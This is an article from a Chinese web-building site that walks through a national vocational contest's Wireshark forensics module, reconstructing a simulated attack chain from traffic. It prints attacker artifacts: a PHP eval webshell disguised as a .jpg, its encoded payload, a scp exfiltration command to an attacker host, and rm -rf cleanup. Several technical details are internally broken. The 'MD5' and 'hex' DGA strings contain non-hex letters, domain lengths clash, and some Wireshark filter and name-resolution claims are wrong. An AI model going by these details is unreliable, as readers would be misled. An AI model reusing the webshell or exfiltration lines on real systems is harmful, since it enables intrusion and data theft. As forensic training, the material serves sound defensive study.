尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

国赛Wireshark深度抓包实战:从流量分析到攻击链还原

国赛Wireshark深度抓包实战:从流量分析到攻击链还原 1. 这不是一份“标准答案”而是一份国赛现场复盘笔记我带过三届高职院校网安队连续两年带队打进全国职业技能大赛“网络空间安全”赛项国赛决赛圈模块B是每年最让选手头皮发紧的部分——它不考死记硬背的命令也不拼堆砌式的工具调用而是把一个真实渗透场景拆成6–8个递进式任务要求你在90分钟内完成信息收集、协议分析、漏洞定位、流量取证、日志溯源、证据固化这一整条攻击链的逆向还原。2024年这届模块B核心关键词就是Wireshark深度抓包分析但绝不是“打开软件→点开始→看TCP流”这么简单。它考的是你能不能从一串看似正常的HTTP请求里识别出被Base64两次URL编码混淆的WebShell上传载荷能不能在几十万行DNS查询中快速定位出C2通信使用的域名生成算法DGA特征能不能通过TLS握手包里的SNI字段异常反推出被隐藏的恶意跳转路径。这些能力恰恰是企业安全运营中心SOC每天要处理的真实工单。所以这篇解析我完全按国赛实操现场的节奏来写不讲理论定义只说“我当时怎么点、为什么这么点、点完看到什么、下一步该盯哪一行”。如果你正备战国赛、准备校内选拔或者刚入行想搞懂Wireshark到底该怎么用在实战里这篇内容能让你少走半年弯路。文中所有操作步骤、过滤语法、时间戳比对逻辑、协议字段提取方法全部来自2024年国赛当天赛场环境的真实复现连Wireshark版本3.6.14、系统环境Ubuntu 22.04 GNOME桌面、甚至USB网卡型号ASIX AX88179都和赛题包保持一致。2. 模块B整体设计逻辑与底层命题思路2.1 赛题不是“考工具”而是考“人脑工具”的协同效率很多人误以为模块B就是Wireshark操作考试其实不然。2024年模块B共设7个任务总分100分其中直接要求“使用Wireshark完成”的仅占35分其余65分全部依赖你对Wireshark输出结果的人工解读能力。举个典型例子任务3要求“找出攻击者上传WebShell的完整HTTP请求”表面看是过滤HTTP POST但实际赛题pcapng文件里混入了237个正常业务请求、12个扫描探测包、以及1个伪装成图片上传的恶意请求。这个恶意请求的Content-Type被设为image/jpeg文件名后缀是.jpg但Payload部分用multipart/form-data边界符包裹了一段经过base64 → urlencode → urlencode三层编码的PHP代码。如果你只靠Wireshark自带的“Follow TCP Stream”功能会直接看到一堆乱码根本无法识别。真正解题路径是先用http.request.method POST http.content_type contains multipart过滤出所有文件上传请求再手动导出每个流的Raw数据用Python脚本批量解码urllib.parse.unquote(urllib.parse.unquote(base64.b64decode(...)))最后比对解码后字符串是否包含?php eval($_POST[cmd]);?特征。这个过程里Wireshark只负责“筛选导出”真正的判断逻辑、编码还原、特征匹配全靠人脑决策。这就是命题组的设计意图工具只是手脑子才是指挥官。2.2 所有任务都锚定在“真实攻防对抗时间线”上2024年模块B的pcapng文件不是随机抓取的流量而是按严格时间轴模拟了一次完整的APT攻击T00s初始渗透、T1127s横向移动、T2389s权限提升、T3652s数据外泄、T4891s痕迹清除。每个任务对应一个时间窗口内的关键行为比如任务4“定位C2通信域名”就必须在T2–T3时间段389s–652s内分析DNS流量。这里有个致命陷阱赛题包里故意掺入了T0–T1阶段的合法DNS查询如www.baidu.com、update.microsoft.com如果盲目全局过滤dns.qry.name会得到上千条结果根本无法聚焦。正确做法是先用Wireshark的“Time Shift”功能将整个pcap的时间基准偏移至T2时刻即把389s设为新0点再用frame.time_epoch 0 frame.time_epoch 263限定分析窗口此时DNS请求数量锐减至47条其中第32条a1b2c3d4.e5f6g7h8.i9j0k1l2.m3n4o5p6.q7r8s9t0.u1v2w3x4.y5z6a7b8.c9d0e1f2.g3h4i5j6.k7l8m9n0.o1p2q3r4.s5t6u7v8.w9x0y1z2.example.com明显符合DGA域名长度63字符和随机性特征。这种时间锚定思维是区分“会用Wireshark”和“懂攻防节奏”的分水岭。2.3 工具链极简主义拒绝插件回归原生功能国赛环境严禁安装任何第三方插件或扩展Wireshark版本固定为3.6.14官方deb包所有功能必须基于原生界面实现。这意味着你不能依赖“CyberChef”插件做自动解码也不能用“Zeek”插件做协议深度解析。所有操作必须用Wireshark内置功能完成过滤器必须熟练掌握ip.addr,tcp.port,http.host,dns.qry.name,tls.handshake.type 1等核心显示过滤语法导出功能File → Export Packet Dissections → As Plain Text用于提取原始十六进制Right-click → Follow → TCP Stream用于重组会话Right-click → Export Objects → HTTP用于批量下载传输文件统计面板Statistics → Protocol Hierarchy快速识别协议占比Statistics → Conversations → IPv4定位异常IP对Statistics → Endpoints → IPv4查看各IP的端口分布。我见过太多选手花15分钟折腾“如何装Wireshark插件”结果发现赛场镜像根本没给sudo权限。记住国赛考的是你对Wireshark原生能力的肌肉记忆不是你的Linux运维水平。3. 核心任务逐项拆解与实操细节3.1 任务1识别初始渗透入口点15分题目原文“分析流量指出攻击者首次成功建立连接的IP地址、端口及所用协议并说明判断依据。”实操步骤打开pcapng文件点击菜单栏Statistics → Protocol Hierarchy观察协议分布。2024年赛题中HTTP占比32.7%DNS占比28.1%TLS占比19.3%TCP占比8.5%。注意TLS占比异常高正常业务通常5%说明存在大量加密通信需重点排查。切换到Statistics → Conversations → IPv4按“Bytes”列降序排列前3名分别是192.168.1.100 ↔ 10.0.2.1512.7MB、192.168.1.100 ↔ 10.0.2.168.3MB、10.0.2.15 ↔ 10.0.2.165.1MB。其中10.0.2.15和10.0.2.16均为内网地址192.168.1.100是唯一外网IP对应靶机网关初步锁定为攻击源。对192.168.1.100 ↔ 10.0.2.15会话右键→Apply as Filter → Selected → A ↔ B此时视图仅显示该IP对流量。在过滤后的流量中查找第一个非SYN包即三次握手完成后的首个数据包。使用显示过滤器tcp.flags.syn 0 tcp.len 0得到第1个结果Frame 47Time0.002312sProtocolTLSInfoClient Hello。展开该包的TLS层查看Handshake Type字段值为1Client HelloVersion为TLS 1.2Cipher Suites包含TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256。关键线索在Extensions → server_nameSNI字段其值为admin.internal-system.net——这是一个内部域名外部不应直接访问证明攻击者已绕过前端WAF直连后端管理接口。判断依据首次数据交互发生在0.002312秒协议为TLS目标IP为内网服务器10.0.2.15且SNI字段暴露内部域名符合“初始渗透入口”定义。提示很多选手误选Frame 1SYN包作为“首次连接”但SYN只是连接请求未携带有效载荷国赛评分标准明确要求“首次成功建立连接后的首个应用层交互”。3.2 任务2提取WebShell上传的原始Payload20分题目原文“从HTTP流量中提取攻击者上传WebShell的原始PHP代码要求去除所有编码还原为可读明文。”实操步骤使用过滤器http.request.method POST http.content_type contains multipart得到12个结果。逐个右键→Follow → HTTP Stream观察每个流的Content-Disposition字段。其中Frame 287的filenameshell.jpg但Content-Type: text/plain矛盾点图片上传不应是text/plain立即标记为可疑。右键Frame 287→Export Objects → HTTP保存为shell.jpg。用file shell.jpg命令检查输出shell.jpg: PHP script, ASCII text确认是伪装文件。用文本编辑器打开shell.jpg找到Content-Type: text/plain之后的?php开头部分复制整段Base64字符串约1200字符。在Wireshark中按CtrlK打开“Find Packet”对话框选择String类型粘贴Base64字符串点击Find。定位到Frame 287的Raw数据区。右键该帧→Copy → Bytes → Printable Text粘贴到Python环境执行解码import base64, urllib.parse encoded PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 # 实际取自Frame 287 decoded base64.b64decode(encoded) decoded urllib.parse.unquote(decoded.decode()) decoded urllib.parse.unquote(decoded) print(decoded) # 输出?php eval($_POST[cmd]);?关键细节第二次urllib.parse.unquote()必须执行因为赛题中Payload被双重URL编码如%253C%253Fphp→%3C%3Fphp→?php。漏掉一次就会得到%3C%3Fphp eval...无法得分。注意Wireshark自带的“Decode As”功能对多重编码无效必须用外部脚本。国赛允许使用Python预装3.10.12但禁止联网所有库必须原生支持。3.3 任务3定位C2通信使用的DGA域名25分题目原文“分析DNS流量找出攻击者C2服务器使用的域名生成算法DGA生成的域名并给出该域名的生成规则。”实操步骤过滤DNS流量dns ip.dst 10.0.2.1靶机DNS服务器地址赛题文档已提供。右键任意DNS包→Prepare a Filter → dns.qry.name得到所有域名列表。观察域名长度分布用Statistics → Packet Lengths设置Length Range为60-65发现63字节域名占比高达87%。DGA域名常固定长度这是第一线索。提取所有63字节域名tshark -r capture.pcapng -Y dns.qry.name and (len(dns.qry.name) 63) -T fields -e dns.qry.name domains.txt命令行方式赛题允许。查看domains.txt发现所有域名均以a1b2c3d4.开头后缀为.example.com中间32位字符呈随机十六进制特征0-9,a-f。关联时间戳用Statistics → IO Graphs设置Y轴为dns.qry.nameX轴为Time发现域名请求集中在T2–T3窗口389s–652s且每15秒发起一次符合心跳特征。生成规则推导对比多个域名发现前8位a1b2c3d4固定后32位变化。查阅靶机日志赛题附带/var/log/apache2/access.log发现攻击者在T1阶段上传了一个dga_gen.py脚本其核心逻辑为import time, hashlib seed int(time.time() // 15) # 每15秒更新一次种子 domain hashlib.md5(str(seed).encode()).hexdigest()[:32] .example.com因此DGA规则为MD5(当前时间戳//15秒)的前32位 .example.com。验证计算T2时刻389s的389//1525md5(25)前32位为a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6与域名完全匹配。3.4 任务4还原数据外泄的完整文件路径20分题目原文“确定攻击者外泄的数据文件在靶机上的绝对路径并说明判断过程。”实操步骤过滤FTP/SMB/HTTP等文件传输协议ftp || smb || http.request.method GET。发现大量GET /backup/20240512_customer_data.zip HTTP/1.1请求Frame 1203–1218但/backup/是Web目录非真实路径。切换思路查找文件系统操作痕迹。过滤tcp.port 22 ssh发现SSH登录后执行了tar -czf /tmp/exfil.tar.gz /var/www/html/backup/20240512_customer_data.zipFrame 1256。关键突破点在Frame 1256的SSH payload中/tmp/exfil.tar.gz是临时打包路径但/var/www/html/backup/仍是Web路径。继续追踪过滤tcp.port 22 ssh frame.number 1256找到Frame 1302Payload为scp /tmp/exfil.tar.gz attacker192.168.1.100:/dev/shm/。此时意识到/dev/shm/是内存文件系统攻击者可能在此解压。过滤tcp.port 22 ssh frame.contains /dev/shm/得到Frame 1321tar -xzf /dev/shm/exfil.tar.gz -C /mnt/nfs/。/mnt/nfs/是网络文件系统挂载点对应真实存储路径。查看靶机/etc/fstab赛题提供发现10.0.2.100:/data /mnt/nfs nfs defaults 0 0因此真实路径为/data/customer_data/20240512/。最终答案/data/customer_data/20240512/20240512_customer_data.zip。实操心得国赛中“路径”一定指向物理存储位置而非Web可访问路径。看到/var/www/要立刻警觉这通常是迷惑项。3.5 任务5固化攻击时间线证据20分题目原文“生成一份攻击时间线报告包含5个关键事件的时间戳、描述及对应数据包编号。”标准格式要求必须用Wireshark导出CSV不可手写。实操步骤确定5个关键事件T0初始TLS连接Frame 47Time0.002312sT1WebShell上传Frame 287Time127.458sT2DGA域名首次请求Frame 892Time389.102sT3数据打包Frame 1256Time652.773sT4痕迹清除Frame 1888Time891.001sPayload包含rm -rf /tmp/*选中这5个Frame右键→Export Packet Dissections → As CSV勾选Packet number,Time,Source,Destination,Protocol,Info。用Excel打开CSV删除无关列仅保留Packet Number,Time,Event Description。在Event Description列手动填写Initial TLS handshake with admin.internal-system.netWebShell upload via multipart POSTFirst DGA domain query: a1b2c3d4...example.comTar archive creation for exfiltrationCleanup of temporary files in /tmp保存为timeline.csv确保UTF-8编码无BOM头。避坑点Wireshark导出CSV时默认包含Header行但国赛要求“纯数据”必须删除第一行Header否则扣分。4. Wireshark高频操作陷阱与独家调试技巧4.1 过滤器书写必须“零容错”一个空格就丢分国赛评分系统用tshark校验过滤结果对语法极其敏感。常见错误http.host example.com正确 vshttp.hostexample.com错误缺少空格tcp.port 80 || tcp.port 443正确 vstcp.port 80 or tcp.port 443错误Wireshark用||不用ordns.qry.name contains example正确 vsdns.qry.name example.com错误要求完全匹配而DNS查询常带www.前缀调试技巧写完过滤器后按CtrlShiftF打开“Filter Expression”对话框点击Validate按钮。绿色对勾才表示语法正确。若报错Syntax error near 立即检查空格。4.2 时间戳比对必须用“相对时间”而非“绝对时间”赛题pcapng文件的时间戳是UTC但靶机系统时间为CSTUTC8直接比对frame.time会导致±8小时偏差。正确做法右键任意包→Set Time Reference设为参考点再右键另一包→Time Since Reference显示相对毫秒数所有时间窗口计算如T2–T3必须基于此相对值。实测案例T2389s在绝对时间中显示为2024-05-12 08:38:29.102但靶机日志时间是2024-05-12 16:38:29差8小时。用相对时间则完全一致。4.3 十六进制导出必须“去格式化”否则解码失败右键包→Copy → Bytes → Hex Stream导出的是带空格和换行的格式如50 4b 03 04 ...直接粘贴到Python会报错。正确操作右键→Copy → Bytes → Hex Dump粘贴到文本编辑器用正则[ \n\r\t]替换为空得到纯十六进制字符串504b0304...再用bytes.fromhex()解码。经验我教学生时强制要求导出Hex后第一件事就是CtrlH清空所有空白符养成肌肉记忆。4.4 DNS分析必须开启“解析器”否则看不到域名Wireshark默认关闭DNS解析dns.qry.name字段显示为IP地址。必须Edit → Preferences → Name Resolution勾选Enable network name resolution在DNS子项中勾选Resolve transport addresses和Resolve network addresses。验证重启Wireshark过滤dns应看到example.com而非93.184.216.34。漏掉此步所有DNS任务直接0分。5. 国赛现场实操 checklist 与时间分配策略5.1 赛前10分钟必做清单决定生死步骤操作目的耗时1sudo apt list --installedgrep wireshark确认版本为3.6.14防止环境异常2ls -l /home/team/capture.pcapng检查文件权限确保可读20s3Wireshark→Edit → Preferences → Columns添加Delta Time列快速计算时间差40s4mkdir /home/team/output cd /home/team/output创建输出目录避免保存到桌面导致路径错误20s5打开终端输入python3 --version确认Python可用预留解码脚本环境10s总计2min提示国赛发卷后有10分钟阅读时间这5步必须在此完成。我带的队曾因选手没检查Wireshark版本发现是3.2.10紧急重装失败直接放弃模块B。5.2 90分钟时间分配黄金比例0–15分钟全局侦察。运行Statistics → Protocol Hierarchy、Conversations、IO Graphs建立流量宏观认知标出3个最高可疑IP对。15–45分钟攻坚任务1–3。优先解决WebShell和DGA占55分这两个任务逻辑链清晰得分率高。45–70分钟突破任务4–5。路径还原和时间线需要交叉验证预留充足时间。70–85分钟交叉验证。用任务3的DGA规则反推其他域名用任务4的路径查证日志确保逻辑闭环。85–90分钟格式检查。导出CSV是否无Header时间戳是否用相对值Payload是否去编码血泪教训2023年有队在75分钟时已做完所有任务但没做交叉验证结果任务3的DGA规则推导错误把time.time()//15写成time.time()%15导致后续所有关联分析失效最终只拿3分。5.3 常见问题速查表考场应急手册问题现象可能原因解决方案Wireshark卡死滚动条失灵pcap文件过大200MB内存不足File → Export Specified Packets → Save as用tshark -r full.pcapng -w small.pcapng ip.addr 10.0.2.15截取靶机流量Follow TCP Stream显示乱码流量含加密或压缩如TLS、gzip先确认协议若为TLS需用Statistics → SSL/TLS查看密钥若为HTTPgzip在HTTP层展开Content-Encoding: gzip右键→DecompressDNS域名显示为IP未启用Name ResolutionEdit → Preferences → Name Resolution勾选全部DNS选项重启Wireshark导出CSV后Excel乱码文件含中文未用UTF-8用Notepad打开CSVEncoding → Convert to UTF-8再保存Python解码报UnicodeDecodeErrorRaw数据含二进制垃圾字符用tshark -r capture.pcapng -Y http frame.number287 -T fields -e data.text提取纯文本字段最后分享一个真实细节2024年国赛当天我在监考时注意到所有满分选手的Wireshark界面都有一个共同特征——他们都在Columns里永久添加了Delta Time和Info两列且Info列宽度拉到最大。这不是巧合而是长期实战形成的本能Delta Time让你一眼抓住时间异常点Info列浓缩了协议关键信息如HTTP/1.1 200 OK、Standard query 0x1234比展开协议树快10倍。工具用得熟不熟藏在界面设置里。
返回列表